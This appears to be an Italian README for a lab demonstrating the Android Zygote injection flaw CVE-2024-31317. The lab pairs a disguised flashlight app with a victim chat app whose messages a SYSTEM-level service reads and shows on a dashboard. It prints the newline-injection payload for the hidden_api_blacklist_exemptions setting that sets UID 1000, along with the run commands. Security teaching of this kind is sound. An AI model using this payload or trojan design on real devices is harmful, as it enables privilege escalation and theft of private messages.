
Dimostrazione educativa della vulnerabilità di iniezione Zygote CVE-2024-31317 su Android
Questo laboratorio dimostra CVE-2024-31317, una vulnerabilità critica di Android che consente a un'app malevola di elevare i privilegi al livello SYSTEM (UID 1000) e di bypassare la sandbox di Android per leggere i dati di altre applicazioni in tempo reale.
ZygoteExploitDemo/
├── 📱 apps/
│ ├── SecureChat/ # Victim app (Jetpack Compose)
│ │ ├── Encrypted messages stored in SQLite
│ │ └── Simulates WhatsApp-style encryption
│ │
│ ├── FlashlightPro/ # Malicious app with exploit
│ │ ├── Normal flashlight UI (distraction)
│ │ ├── Background exploit service
│ │ └── WRITE_SECURE_SETTINGS permission
│ │
│ └── MonitorService/ # SYSTEM-level reader
│ ├── Runs with UID 1000 after exploit
│ ├── Reads SecureChat database
│ └── Exfiltrates to dashboard
│
├── 📊 dashboard/ # Flask web dashboard
│ └── app.py # Shows stolen messages live
│
├── 📜 scripts/ # Automation scripts
│ ├── setup_vulnerable_emulator.sh
│ ├── build_all_apps.sh
│ ├── install_all_apps.sh
│ ├── run_exploit.py
│ └── monitor_logs.sh
│
├── 🎯 exploits/ # Exploit information
│ ├── CVE-2024-31317.md
│ └── payloads.txt
│
└── 📁 tamplates/ # Code templates
├── exploit_template.java
└── dashboard_template.html
CVE-2024-31317 risiede nel modo in cui il processo Zygote di Android gestisce l'impostazione di sistema hidden_api_blacklist_exemptions. A causa della mancata sanitizzazione dell'input, un attaccante può iniettare caratteri di nuova riga per aggiungere argomenti arbitrari ai comandi Zygote.
Vettore di Attacco:
Settings.Global.putString(
contentResolver,
"hidden_api_blacklist_exemptions",
"LClass1;->method1(\n" +
"7\n" +
"--setuid=1000\n" + // Run as SYSTEM
"--setgid=1000\n" + // Run as SYSTEM group
"--invoke-with\n" +
"am start-service ...;\n"
);
| Versione | Stato |
|---|---|
| Android 9 - 14 | ❌ Vulnerabile (prima della patch di giugno 2024) |
| Android 14+ | ✅ Patch applicata (security update di giugno 2024) |
| Android 15+ | ✅ Sicura |
git clone https://github.com/GitAmanS/ZygoteExploitDemo.git
cd ZygoteExploitDemo
cd scripts
chmod +x *.sh
./setup_vulnerable_emulator.sh
# Start the emulator
emulator -avd vulnerable_android_12
# In a new terminal
cd ZygoteExploitDemo/scripts
./build_all_apps.sh
./install_all_apps.sh
cd ../dashboard
pip3 install flask flask-cors
python3 app.py
📱 Apri http://localhost:5000 nel tuo browser
cd ../scripts
python3 run_exploit.py
🎬 Video demo in arrivo
WRITE_SECURE_SETTINGS/data/data/com.securechat/databases/I contributi sono benvenuti! Per favore:
Aree di contributo:
Licenza MIT - Vedi il file LICENSE per i dettagli
Aman - @GitAmanS
Se hai trovato questo progetto educativo, lascia una stella! ⭐
Creato per ricercatori di sicurezza, da un ricercatore di sicurezza
Ricorda: Da grandi poteri derivano grandi responsabilità 🕷️
| Fase | Descrizione | Visivo |
|---|
| 1 | L'utente installa l'app "Flashlight Pro" dall'aspetto innocente | 🔦 |
| 2 | L'app sfrutta CVE-2024-31317 per ottenere accesso SYSTEM | 💉 |
| 3 | Il servizio a livello SYSTEM legge i messaggi di "SecureChat" | 👁️ |
| 4 | I messaggi rubati appaiono sulla dashboard in tempo reale | 📊 |